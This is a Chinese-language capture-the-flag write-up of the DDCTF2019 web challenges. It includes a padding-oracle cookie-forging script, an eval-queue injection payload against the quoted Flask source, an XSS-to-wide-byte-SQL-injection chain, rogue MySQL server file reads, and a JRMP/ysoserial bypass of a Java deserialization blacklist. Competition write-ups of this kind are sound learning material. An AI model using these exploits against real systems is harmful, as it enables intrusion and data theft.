前言

最近举办的比赛 DDCTF2019 ,菜鸡 Web 手第二次打这个比赛,题目相比去年整体质量有所下降,有质量的题目只有三题左右,不过也是个能学到东西的好比赛。

比赛最后两天没有肝 Java 题,被hint弄昏了,辣鸡选手分不清命令执行和代码执行,当然也有对 ysoserial 不熟悉等各种原因在内,所以到最后还是没有能够 AK Web 题目,算是一个遗憾吧,希望明年能变得更强。


滴~

脑洞题,使用文件读取漏洞读取源码,然后根据注释的提示,找到该作者该日期的文章,看到文件名 practice.txt.swp ,访问即可看到下一步,只是简单的变量覆盖就不说了。

WEB 签到题

坑,带上 HTTP 头 didictf_username: admin 访问即可看到源码,利用格式化字符串读取 key ,然后就是简单的反序列化读取文件就不说了。

Upload-IMG

考点在于绕过 gd 库对图片的渲染,让 gd 库渲染生成的新图片能留下 phpinfo 字符串,参考:https://xz.aliyun.com/t/416 。用文章给出的脚本打一遍下来就可以了,注意不是每张图片都可以成功,如果这张图片不行就换一张,或者可以直接搜索其他人使用的素材。

homebrew event loop

Python 代码审计,比较有意思的题目,贴下代码:

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f66147e857' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 

def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 

class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 

@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 

        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 

        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 

        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 

def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 

def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 

def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 

def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 

if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

getflag 的方法很明确,就是弄到五颗以上钻石,然后调用 get_flag_handler ,最后再解码 cookie 就能拿到 flag 了。

仔细看一下就可以发现,题目对输入的字符串做了过滤,只允许数字字母和 _:;# 等少数几种特殊字符,无法任意执行命令,可以一次购买多个钻石,但是钻石的数量不能为负数,且每次购买钻石之后都会将 consume_point_function 塞进队列里来 check 余额,如果余额不足就会回滚。

解题思路:

  • 在 eval 函数中通过 # 注释来调用任意函数,该函数参数只能为 list 。
  • 因为他的函数调用都是通过队列来顺序调用,并且购买钻石和检查余额不在同一个函数中,所以我们可以通过调用 trigger_event 来打乱他的队列,在购买钻石、检查余额之间插入一个 get_flag_handler 。

在 eval 中调用 trigger_event ,将 buy_handler 和 get_flag_handler 塞进队列中,使用 buy_handler 购买5个以上的钻石,然后直接调用 get_flag_handler 把 flag 存入 cookie ,这样就算之后服务端检查余额回滚了也不影响我们 getflag ,get 提交 payload :

action:trigger_event%23;action:buy;5%23action:get_flag;

欢迎报名DDCTF

一道 XSS + SQL 注入的题目,很简单但是也很坑。

题目本来有个 swp 源码泄露,后来出题人给删除了。

报名页面的 content 可以进行 XSS ,利用 script 远程加载或者 eval(atob(“payload”)) ,都可以。

利用 XSS 打到 admin.php 的页面,看到一个 query_aIeMu0FUoVrW0NWPHbN6z4xh.php ,提示这里可以输入 id 进行查询,这里是简单的宽字节回显注入,注入出 flag 即可。

坑点:

  • 管理员不定时点击。
  • 宽字节注入点难以发现,粗略测试过根本没有察觉,思路直接跑偏去了其他地方(比如攻击管理员所在的服务器、在 login.php 进行注入)。

大吉大利,今晚吃鸡~

坑,整数溢出 + 脚本题目。

服务端在下单时接收单价和付款进行计算时,使用的数据类型不是同一个,所以我们可以通过溢出来让单价为0,即可买到门票。最后的吃鸡部分,写个脚本不停注册然后用自己的账号把他们踢掉即可。

mysql弱口令

比较有意思的题目,考点是 MySQL LOAD DATA INFILE 的利用。

工具: https://github.com/Gifts/Rogue-MySql-Server

不停读文件就完事了,在 root 的 .bash_history 文件里发现源码文件,在源码文件中发现 flag 的路径,直接读取 /var/lib/mysql/security/flag.ibd 即可,或者也可以读取 root 目录下的 .mysql_history (非预期?)。

再来1杯Java

源码包:附件

本地搭建环境也很简单,题目是个 Spring-Boot 的项目,把 class 反编译一下,然后再配置运行 Application.java 即可。

题目分为三个部分,密码、文件读取和反序列化。

Padding Oracle

根据提示,需要我们成为 admin ,观察 HTTP 请求,可以得知我们需要伪造一个 cookie ,脚本如下(写得有点乱):

# -*- coding:utf8 -*-
import base64
import requests
import urllib

url = "http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info"
data = base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")
# iv = data[:16]
# c = data[16:32]

m = ""
myd = requests.session()
c_final2 = "\xA7\xD3\x87\x8A\x04f\xC7\x0BY\x26K\x5E\xD3\x3FP\x13"
# c_final1 = "\x2BC\x0D\x2BP\x5BR\x5CU\x16K\x04\x40\x0F\x07\x22"
# c_final11 = "P\xBE\x15\x9D\x03y\xA2bv.u\x10\xD3\xE7\x03\xF8"
c_final11 = "\x00\xDFq\xD2q\x18\xC1\x0E\x13\x14\x1Cf\xFC\x84a\x9B"

IV = ""
i_need = '{"id":100,"roleA'
for x in range(16):
    IV += chr(ord(c_final11[x]) ^ ord(i_need[x]))
c = ""
i_need = 'dmin":true}' + 5 * "\x05"
for x in range(16):
    c += chr(ord(c_final2[x]) ^ ord(i_need[x]))
print base64.b64encode(IV + c + data[32:])

exit(1)

# Padding Oracle
for x in xrange(1, 17):
    for y in xrange(0, 256):
        IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in c_final11)
        payload = base64.b64encode(IV + c)
        headers = {
            "Accept": "application/json, text/plain, */*",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "zh-CN,zh;q=0.9",
            "Connection": "keep-alive",
            "Cookie": "token=" + payload,
            "Host": "c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023",
            "Referer": "http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"""
        }
        result = myd.get(url, headers=headers).content
        if "decrypt err" not in result:
            c_final11 = chr(y ^ x) + c_final11
            print "[+]Get: " + urllib.quote(c_final11)
            break
        if y == 255:
            print "[!]Error!"
            exit(1)
print urllib.quote(c_final11)
# for x in xrange(16):
#     m += chr(ord(c_final11[x]) ^ ord(iv[x]))
# print m
# print urllib.quote(m)

exit(1)

修改 cookie ,成为 admin 后看到一个下载链接,这里有一个任意文件下载漏洞。

文件读取

下载到一个 1.txt ,提示说:

Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~ 

坑,利用文件读取漏洞,跑字典可以在 /proc/self/fd/15 处下载到一个 zip ,里面就是题目的源码。

Java反序列化漏洞

参考 writeup :https://xz.aliyun.com/t/4862#toc-7

我虽然了解一点 Java 反序列化漏洞,但是从来没有用过 ysoserial 这个工具,趁这个机会也正好学习一下。

审计代码,可以看到它提供了一个无法回显的反序列化接口,并且使用 Serialkiller 对我们反序列化的类进行了黑名单过滤。所以我们的第一个目标就是绕过这份黑名单。

根据提示的 JRMP ,我们注意到黑名单中的 JRMP 类只有三个:

<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>

参考文章:https://xz.aliyun.com/t/2479 ,找个方式,修改 ysoserial 中的 JRMPClient ,重新编译再输出 payload 即可。

现在我们就可以通过 JRMP 的方式来反序列化任意类了,关注项目依赖中的 commons-collections:3.1 ,我们通过这个低版本的组件实现代码执行,参考文章:https://blog.csdn.net/fnmsd/article/details/79534877

效果:


参考文章:

https://github.com/frohoff/ysoserial

https://paper.seebug.org/584/

https://xz.aliyun.com/t/2479

https://xz.aliyun.com/t/2041